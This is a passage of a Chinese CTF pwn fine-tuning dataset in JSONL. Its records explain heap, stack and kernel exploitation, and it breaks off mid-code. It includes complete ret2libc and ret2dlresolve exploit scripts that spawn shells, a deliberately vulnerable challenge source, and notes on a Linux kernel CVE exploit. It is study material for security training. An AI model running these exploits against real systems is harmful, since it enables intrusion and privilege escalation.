{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-0d5bb99a86c7bee03f94", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「3. 提前布置 environ poisoning」。\n资料来源：Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md；主题：CISCN2024 华南赛区 my_heap Writeup；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 3. 提前布置 environ poisoning\n\nexp 接下来先做一次 `0x20` bin 的 poisoning，把 tcache `fd` 改到 `libc.environ`：\n\n```python\nadd(1, 0x10)\ndele()\nedit(p64(libc.sym[\"environ\"] ^ (heap_addr >> 12)))\n```\n\n此时目标是后续 malloc 到 `environ`，泄露栈地址。\n\n但单纯这样还不够稳定，因为后面会频繁改变 tcache 状态，所以 exp 又进一步打 `tcache_perthread_struct.counts`。", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-0510e787980cdf20", "original_line": 127, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md", "split": "train", "split_group_key": "29400e37059a22e96fca7e93"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-0e3c1e51e52ec0800c9e", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「Mitigation notes」。\n资料来源：Kernel/CVE-2026-53362_lts/docs/exploit.md；主题：Exploit；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### Mitigation notes\n\nThe vulnerability is fixed by accounting for `fraggap` in both `alloclen` and\n`pagedlen`, which keeps the carried bytes inside the new skb's linear area.\nBlocking `splice` prevents this exploit's `MSG_SPLICE_PAGES` trigger but is not\na substitute for that fix. A static usermode-helper configuration can block\nthe `core_pattern` payload used here, but it does not remove the physical\nmemory primitive obtained from the reclaimed PTE page.", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-adcdb35d36dd46b3", "original_line": 395, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/docs/exploit.md", "split": "train", "split_group_key": "7f9976b6c691c088eb102a55"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/docs/exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-0e84178f0298f61e41c1", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `其它漏洞/整数溢出/2024-买黑马喽了么/exp_cli.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`其它漏洞/整数溢出/2024-买黑马喽了么/exp_cli.py`\n\n分类：misc_vuln\n\n语言：python\n\n环境/依赖线索：\n- `from pwncli import *`\n\n利用主题关键词：\n- stack/rop\n\n关键常量/偏移样例：\n`0x4090`, `0x000000000000101a`, `0x00000000000011ee`, `0x00000000000011f1`, `0x00000000000011f3`, `0x00000000000011f5`, `0x00000000000011f7`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\nset_remote_libc('libc.so.6')\n\nio: tube = gift.io\nelf: ELF = gift.elf\nlibc=ELF(\"./libc.so.6\")\n\noff=88\nfor i in range(12):\n    sla(\"choice:\\n\",b\"1\")\n    sla(\"choice:\\n\",b\"1\")\nsla(\"choice:\\n\",b\"1\")\nsla(\"choice:\\n\",b\"2\")\nsla(\"choice:\\n\",b\"2\")\ns(b\"%p\")\nru(\"And your Balance :\")\nb=ru(\"90\").strip()\nb=b.decode()\nb=b[2:]\nb=int(b,16)\nprint(\"jz\",hex(b))\nbase=b-0x4090\nprint(\"base\",hex(base))\nrax=0x00000000000011f7+base\nrdi=0x00000000000011f1+base\nrdx=0x00000000000011f5+base\nrsi=0x00000000000011f3+base\nret=0x000000000000101a+base\nsyscall=0x00000000000011ee+base\nmain=elf.sym.main+base\nputs=elf.plt.puts+base\nputs_got=elf.got[\"puts\"]+base\nsla(\"choice:\\n\",b\"3\")\n\n\nprint(\"rdi\",hex(rdi))\nprint(\"puts_got\",hex(puts_got))\npayload=b'a'*88+p64(rdi)+p64(puts_got)+p64(puts)+p64(main)\nsla(\"feedback:\\n\",payload)\nru(b'Thanks for your feedback!We`ll do it better!\\n')\np=u64(r(6)+b'\\x00'*2)\nprint(\"libc\",hex(p))\nlibc_base=p-libc.sym[\"puts\"]\nsys=libc_base+libc.sym.system\nsh=next(libc.search(\"/bin/sh\\x00\"))+libc_base\nprint(\"sh\",hex(sh))\nprint(\"sys\",hex(sys))\nprint(\"tow\")\n\nsla(\"choice:\\n\",b\"3\")\npayload=b'a'*88+p64(rdi)+p64(sh)+p64(ret)+p64(sys)\nsla(\"feedback:\\n\",payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-code-d1862fdbd80ea170", "original_line": 439, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/整数溢出/2024-买黑马喽了么/exp_cli.py", "split": "train", "split_group_key": "9f1a7f2b53037d8e66a44d82"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/整数溢出/2024-买黑马喽了么/exp_cli.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-0eae496235e6e48fee69", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「Converting the reclaimed page table into physical access」。\n资料来源：Kernel/CVE-2026-53362_lts/docs/exploit.md；主题：Exploit；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### Converting the reclaimed page table into physical access\n\nAt this point the exploit uses the standard dirty-pagetable transition. Pipe\nwrites begin at PTE slot 40; the exploit preserves the permission and NX bits\nfrom a real entry, replaces the physical frame number, and uses a fresh virtual\nslot for each physical page. This yields the physical read/write primitive\nused by the final payload without a kernel-text leak or RIP control.", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-dbf98fed6f450743", "original_line": 396, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/docs/exploit.md", "split": "train", "split_group_key": "7f9976b6c691c088eb102a55"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/docs/exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-0ec14ba855d664413b68", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/xdk_device/xdk_device.h` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/xdk_device/xdk_device.h`\n\n分类：kernel\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include \"./include/xdk_device.h\"`\n- `#include `\n\n利用主题关键词：\n- io-file/fsop\n- seccomp/orw\n- kernel\n- stack/rop\n\n训练用代码片段：\n```c\n/*\n * Copyright 2025 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n#pragma once\n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \"./include/xdk_device.h\"\n#include \n\n#define DEVICE_PATH \"/dev/xdk\"\n\n/**\n * @defgroup xdk_device_classes XDK Device Classes\n * @brief Classes for XDK device interaction.\n */\n\n/**\n * @ingroup xdk_device_classes\n * @brief Enum representing the possible actions for RIP control.\n */\nenum class RipAction { Jmp = 0x1, Call = 0x2, Ret = 0x3 };\n\n/**\n * @ingroup xdk_device_classes\n * @brief Structure to hold information about a kernel function call log.\n */\nstruct CallLog {\n    /** @brief The name of the function that was called. */\n    std::string function_name;\n\n    /** @brief A vector of arguments passed to the function. */\n    std::vector arguments;\n\n    /** @brief The return value of the function. */\n    uint64_t return_value;\n\n    /** @brief The call stack at the time of the function call. */\n    std::string call_stack;\n\n    std::string GetSummary();\n};\n\n/**\n * @ingroup xdk_device_classes\n * @class XdkDevice\n * @brief Manages communication and data for the XDK device.\n */\nclass XdkDevice;\n\n/**\n * @ingroup xdk_device_classes\n * @class Kprobe\n * @brief Class representing a Kprobe in the kernel.\n */\nclass Kprobe {\n    kprobe_args args_;\n    const size_t logs_size = 16 * 4096;\npublic:\n    /**\n     * @brief Constructor for the Kprobe class.\n     * @param function_name The name of the function to probe.\n     * @param arg_count The number of arguments to log (default is 0).\n     * @param log_mode The logging mode (default is ENTRY_WITH_CALLSTACK | RETURN).\n     * @param log_call_stack_filter An optional filter for the call stack (default is nullptr).\n     */\n    Kprobe(const char* function_name, uint8_t arg_count = 0,\n           enum kprobe_log_mode log_mode = (kprobe_log_mode)(ENTRY_WITH_CALLSTACK | RETURN),\n           const char* log_call_stack_filter = nullptr);\n\n    /**\n     * @brief Retrieves the call logs for this Kprobe.\n\n# ... 中间内容省略，保留关键利用片段 ...\n\n     * @brief Calls a raw ioctl command on the xdk device.\n     * @return The error code returned by the ioctl.\n     * @throws ExpKitError if the ioctl returns an unknown error code.\n     * @brief Frees a kernel buffer.\n     * @param ptr The kernel address of the buffer to free.\n    void Kfree(uint64_t ptr) const;\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-9a58912123cfcde9", "original_line": 318, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/xdk_device/xdk_device.h", "split": "train", "split_group_key": "93cd3c9ada55762d569fbe35"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/xdk_device/xdk_device.h", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-0ed2d6f31e8b2cbad7f4", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「获取VDSO」。\n资料来源：stack.md；主题：栈利用；分类：stack。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 获取VDSO\n\n+ 关于 AUXV\n\n首先了解一下 `LD_SHOW_AUXV` 环境变量，该环境变量能够通知程序加载器来展示程序运行时的辅助向量。辅助向量是放在程序栈（通过内核的 ELF 常规加载方式）上的信息，附带了传递给动态链接器的程序相关的特定信息。不过这些信息对于反编译和调试来说非常有用。例如，要想获取进程镜像 VDSO 页的内存地址（也可以使用 maps 文件获取，之前介绍过），就需要查询`AT_SYSINFO`。\n\n下面是一个带有`LD_SHOW_AUXV`辅助向量的例子：\n\n```shell\n$ LD_SHOW_AUXV=1 whoami\nAT_SYSINFO: 0xb7779414        # vsyscall 的地址，用于加速常见系统调用\nAT_SYSINFO_EHDR: 0xb7779000   # vsyscall 页面 ELF 头文件的地址\nAT_HWCAP: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2\n                              # CPU 支持的硬件特性（扩展指令集）\nAT_PAGESZ: 4096               # 系统内存页大小（4KB）\nAT_CLKTCK: 100                # 时钟周期频率（100 Hz）\nAT_PHDR: 0x8048034            # 程序的程序头表地址\nAT_PHENT: 32                  # 程序头表中每个条目大小（32 字节）\nAT_PHNUM: 9                   # 程序头表中条目数（9 个）\nAT_BASE: 0xb777a000           # 动态链接器基地址\nAT_FLAGS: 0x0                 # 没有额外标志（值为 0）\nAT_ENTRY: 0x8048eb8           # 程序入口地址\nAT_UID: 1000                  # 用户标识符（UID）\nAT_EUID: 1000                 # 有效用户标识符（EUID）\nAT_GID: 1000                  # 组标识符（GID）\nAT_EGID: 1000                 # 有效组标识符（EGID）\nAT_SECURE: 0                  # 安全模式状态（值为 0，表示非安全模式）\nAT_RANDOM: 0xbfb4ca2b         # 指向随机值的地址（用于安全功能）\nAT_EXECFN: /usr/bin/whoami    # 当前执行的程序路径\nAT_PLATFORM: i686             # CPU 平台（i686，32 位 x86 架构）\nelfmaster分析\n```\n\n通过 gdb 可以查看程序中的辅助向量。\n\n```\nauvx\n```\n\n+ **辅助向量**\n\n通过系统调用`sys_execve()`将程序加载到内存中时，对应的可执行文件会被映射到内存的地址空间，并为该进程的地址空间分配一个栈。这个栈会用特定的方式向动态链接器传递信息。这种特定的对信息的设置和安排即为辅助向量（auxv）。栈底（在 x86 体系结构中，栈的地址是往下增长的，因此栈底是栈的最高址）存放了以下信息：\n`[argc][argv][envp][auxiliary][.ascii data for argv/envp]`\n\n辅助向量是一系列`ElfN_auxv_t`的结构：\n\n```c\ntypedef struct\n{\n    uint64_t a_type; /* Entry type */\n    union\n    {\n        uint64_t a_val; /* Integer value */\n    } a_un;\n} Elf64_auxv_t;\n```\n\n`a_type`指定了辅助向量的条目类型，`a_val`为辅助向量的值。下面是动 态链接器所需要的一些最重要的条目类型：\n\n```c\n#define AT_EXECFD  2  /* File descriptor of program */\n#define AT_PHDR    3  /* Program headers for program */\n#define AT_PHENT   4  /* Size of program header entry */\n#define AT_PHNUM   5  /* Number of program headers */\n#define AT_PAGESZ  6  /* System page size */\n#define AT_ENTRY   9  /* Entry point of program */\n#define AT_UID     11 /* Real uid */\n```\n\n动态链接器从栈中检索可执行程序相关的信息，如程序头、程序的入口地址等。上面列出的只是从`/usr/include/elf.h` 中挑选出的几个辅助向量条目类型。辅助向量是由内核函数 `create_elf_tables()`设定的，该内核函数在 Linux 的源码`/usr/src/linux/fs/binfmt_elf.c` 中。\n\n事实上，内核的执行过程跟下面的描述类似。\n\n1．`sys_execve() →.`\n2．调用 `do_execve_common() →.`\n3．调用 `search_binary_handler() →.`\n4．调用 `load_elf_binary() →.`\n5．调用 `create_elf_tables() →.`\n\n下面是`/usr/src/linux/fs/binfmt_elf.c`中的函数`create_elf_tables()`的代码，这段代码会添加辅助向量条目：\n\n```c\nNEW_AUX_ENT(AT_PAGESZ, ELF_EXEC_PAGESIZE);\nNEW_AUX_ENT(AT_PHDR, load_addr + exec->e_phoff);\nNEW_AUX_ENT(AT_PHENT, sizeof(struct elf_phdr));\nNEW_AUX_ENT(AT_PHNUM, exec->e_phnum);\nNEW_AUX_ENT(AT_BASE, interp_load_addr);\nNEW_AUX_ENT(AT_ENTRY, exec->e_entry);\n```\n\n可以看到，ELF 的入口点和程序头地址，以及其他的值，是与内核中的`NEW_AUX_ENT()`宏一起入栈的。程序被加载进内存，辅助向量被填充好之后，控制权就交给了动态链接器。动态链接器会解析要链接到进程地址空间的用于共享库的符号和重定位。默认情况下，可执行文件会动态链接 GNU C 库`libc.so`。`ldd`命令能显示出一个给定的可执行文件所依赖的共享库列表。\n\n获取 VDSO 的方法：\n\n1. 暴力破解\n2. 通过泄漏\n   - 使用 ld.so 中的 `_libc_stack_end` 找到 stack 真实位置，计算 ELF Auxiliary Vector Offset 并从中取出 `AT_SYSINFO_EHDR`；\n   - 使用 ld.so 中的 `_rtld_global_ro` 的某个 Offset 也有 VDSO 的位置。\n   - 尤其注意的是在开了 ASLR 的情况下，VDSO 的利用是有一定优势的\n     * 在 x86 环境下：只有一个字节是随机的，所以我们可以很容易暴力解决；\n     * 在 x64 环境下：在开启了 PIE 的情形下，有 11 字节是随机的，例如：CVE-2014-9585。但是在 Linux 3.182.2 版本之后，这个已经增加到了 18 个字节的随机", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-3f70492be83021c7", "original_line": 594, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "split_group_key": "5d29b793664b20592ba25f84"}, "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-0f05eb9203d5be76680c", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「原理」。\n资料来源：stack.md；主题：栈利用；分类：stack。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 原理\n\n在较新的 glibc（如 2.34 及之后版本）中，由于编译优化移除了 __libc_csu_init 等常见的代码段，传统 ROP 利用中常依赖的 gadgets（如控制 rdi/rsi/rdx 的 CSU gadgets）往往不再存在，导致攻击者难以构造完整的 ROP 链来控制函数参数。\n\n在这种情况下，研究者提出了一种新的利用思路——ret2gets。该方法通过调用 gets 向可控内存写入数据，再配合 printf、puts 等函数泄露地址，逐步构造后续的 ROP 链，从而实现利用。由于该技术核心依赖 gets 完成输入与控制流扩展，因此被称为 ret2gets。", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-a49eb65bd6bf03ba", "original_line": 606, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "split_group_key": "5d29b793664b20592ba25f84"}, "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-1009b65170631c55d787", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/ret2csu/[NewStarCTF 公开赛赛道]ret2csu1/ret2csu1.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/ret2csu/[NewStarCTF 公开赛赛道]ret2csu1/ret2csu1.c`\n\n分类：stack\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n\n函数/封装：\n- `init`\n- `main`\n- `ohMyBackdoor`\n\n利用主题关键词：\n- io-file/fsop\n- seccomp/orw\n- stack/rop\n\n关键常量/偏移样例：\n`0x46616c6c77316e64`, `0x57616e7473414749`, `0x726c667269656e64`\n\n训练用代码片段：\n```c\n// gcc ret2csu1.c -fno-stack-protector -no-pie -o pwn -g -masm=intel\n#include \n#include \n#include \n#include \n#include \n\nvoid init();\nvoid ohMyBackdoor(__int64_t a,__int64_t b,__int64_t c);\n\nchar *hello1 = \"Which one you like more,write or puts?\\n\";\nchar *hello2 = \"I hide some useful text in this elf.Remember to check it!\\n\";\nchar *gift1 = \"/bin/cat\";\nchar *gift2[] = {\"/bin/cat\",\"/flag\",NULL};\n\n// mov rax,SYS_execve; syscall;\nsize_t gift3 = (size_t)ohMyBackdoor + 0x40;\n\nvoid init()\n{\n    setvbuf(stderr,0,2,0);\n    setvbuf(stdout,0,2,0);\n    setvbuf(stdin,0,2,0);\n}\n\nvoid ohMyBackdoor(__int64_t a,__int64_t b,__int64_t c)\n{\n    // syscall(SYS_execve,a,b,c);\n    if(a == 0x46616c6c77316e64 && b == 0x57616e7473414749 && c == 0x726c667269656e64)\n    {\n        __asm__\n        (\n            \"mov rax,59;\"\n            \"syscall;\"\n        );\n    }\n}\n\nint main()\n{\n    init();\n    char message[0x20];\n    __asm__\n    (\n        // syscall(SYS_write,STDOUT_FILENO,hello1,strlen(hello1));\n        \"mov rdi,1;\"\n        \"mov rsi,[hello1];\"\n        \"mov rdx,40;\"\n        \"mov rax,1;\"\n        \"syscall;\"\n        // syscall(SYS_write,STDOUT_FILENO,hello2,strlen(hello2));\n        \"mov rdi,1;\"\n        \"mov rsi,[hello2];\"\n        \"mov rdx,59;\"\n        \"mov rax,1;\"\n        \"syscall;\"\n        // syscall(SYS_read,STDIN_FILENO,message,0x70);\n        \"xor rdi,rdi;\"\n        \"lea rsi,[rbp-0x20];\"\n        \"mov rdx,0x70;\"\n        \"mov rax,0;\"\n        \"syscall;\"\n    );\n}\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-a35660573f0babe7", "original_line": 523, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2csu/[NewStarCTF 公开赛赛道]ret2csu1/ret2csu1.c", "split": "train", "split_group_key": "08e3c2452b8e8c0de8b27254"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2csu/[NewStarCTF 公开赛赛道]ret2csu1/ret2csu1.c", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-103261161b6ea8462e37", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/ret2dlresolve/dl_resolve_64/32位/stage6_libc2.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/ret2dlresolve/dl_resolve_64/32位/stage6_libc2.py`\n\n分类：stack\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n利用主题关键词：\n- seccomp/orw\n- stack/rop\n\n关键常量/偏移样例：\n`0x112`, `0x800`, `0x18540`, `0x774C5`, `0x8fa05`, `0x08048380`, `0x08048458`, `0x08048619`, `0x0804861b`, `0x0804a040`\n\n训练用代码片段：\n```python\n#!/usr/bin/python\n#coding:utf-8\n\nfrom pwn import *\nelf = ELF('bof')\n\noffset = 112\nread_plt = elf.plt['read']\nwrite_plt = elf.plt['write']\n\nppp_ret = 0x08048619 # ROPgadget --binary bof --only \"pop|ret\"\npop_ebp_ret = 0x0804861b\nleave_ret = 0x08048458 # ROPgadget --binary bof --only \"leave|ret\"\n\nstack_size = 0x800\nbss_addr = 0x0804a040 # readelf -S bof | grep \".bss\"\nbase_stage = bss_addr + stack_size\n\n#x/100xw  GOT[4]\nfake_link_map=elf.got['__libc_start_main']    #change!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\nfake_st_value=0x774C5\nval_0x34=base_stage+80-4\nval_0x38=base_stage+80-4\nval_0x7c=base_stage+80-4\nwait_time=0.1\n\nr = process('bof')\n\n\nr.recvuntil('Welcome to XDCTF2015~!\\n')\npayload = 'A' * offset\npayload += p32(read_plt)\npayload += p32(ppp_ret)\npayload += p32(0)\npayload += p32(fake_link_map+0x34)\npayload += p32(8)\npayload += p32(read_plt)\npayload += p32(ppp_ret)\npayload += p32(0)\npayload += p32(fake_link_map+0x7c)\npayload += p32(4)\npayload += p32(read_plt)\npayload += p32(ppp_ret)\npayload += p32(0)\npayload += p32(base_stage)\npayload += p32(100)\npayload += p32(pop_ebp_ret)\npayload += p32(base_stage)\npayload += p32(leave_ret)\n#print 'length of payload=',hex(len(payload))\n#raw_input('wait')\nr.sendline(payload)\n\nsleep(wait_time)\nr.send(p32(val_0x34)+p32(val_0x38))\nsleep(wait_time)\nr.send(p32(val_0x7c))\nsleep(wait_time)\n\n#gdb.attach(r,'b *0x08048458')\nplt_0 = 0x08048380 # objdump -d -j .plt bof\nplt_1=plt_0+6\nindex_offset = 28\nwrite_got = elf.got['write']\nalign = 0x10 - (36 & 0xf)# 这里的对齐操作是因为dynsym里的Elf32_Sym结构体都是0x10字节大小\nindex_dynsym = (36 + align) / 0x10\nr_info = (index_dynsym << 8) | 0x7\nfake_reloc = p32(write_got) + p32(r_info)\n#fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)\nfake_sym = p32(0) + p32(fake_st_value) + p32(0) + p32(0x112)\n\n\npayload2 = 'AAAA'\npayload2 += p32(plt_1)\npayload2 += p32(fake_link_map)\npayload2 += p32(index_offset)\npayload2 += 'AAAA'   #ret_addr 返回地址\npayload2 += 'aaaa'   #参数\n#payload2 += 'aaaa'\npayload2 += 'aaaa'\npayload2 += fake_reloc # (base_stage+28)的位置\npayload2 += 'B' * align\npayload2 += fake_sym # (base_stage+36)的位置\npayload2 += 'A' * (80 - len(payload2))\npayload2 += p32(base_stage)\npayload2 += 'A' * (100 - len(payload2))\n#raw_input('wait!!!')\nr.sendline(payload2)\nr.interactive()\n\n#目标：0x8fa05 : cmp byte ptr [eax], dl ; pop edi ; ret\n#>>> hex(elf.symbols['__libc_start_main'])\n#'0x18540'\n#fake_st_value=0x8fa05-0x18540=0x774C5\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-9732a52b1a7a5fd5", "original_line": 532, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2dlresolve/dl_resolve_64/32位/stage6_libc2.py", "split": "train", "split_group_key": "6b3954562ff10d7f438f64c6"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2dlresolve/dl_resolve_64/32位/stage6_libc2.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-1053e071a47ac9639025", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「off-by-one 利用思路」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### off-by-one 利用思路\n\n+ 在未开启 PIE 的情况下，可以考虑unlink\n+ 在使用fastbin的情况下，可以考虑 chunk extend构造overlap\n+ off-by-null的利用是比较苛刻的，一般仅能选择使用small bin的合并进行overlap\n\n1. 溢出字节为可控制的任意字节：通过修改大小造成块结构之间出现重叠，从而泄露其他块数据，或是覆盖其他块数据。\n2. 溢出字节为NULL字节：在size为0x100的时候，溢出null字节可以使得 `prev_in_use` 位被清，这样前块会被认为是free块。\n\n+ 这时可以选择使用unlink方法进行处理。\n+ 另外，这时 `prev_size` 域就会启用，就可以伪造 `prev_size`，从而造成块之间发生重叠。（2.28之前可以使用）此方法的关键在于unlink的时候没有检查按照 `prev_size` 找到的块的大小与 `prev_size` 是否一致。\n\n最新版本代码中，已加入针对后一种方法的 check，但是在 2.28 及之前版本并没有该 check。\n\n```c\n/* consolidate backward */\nif (!prev_inuse(p)) {\n    prevsize = prev_size (p);\n    size += prevsize;\n    p = chunk_at_offset(p, -((long) 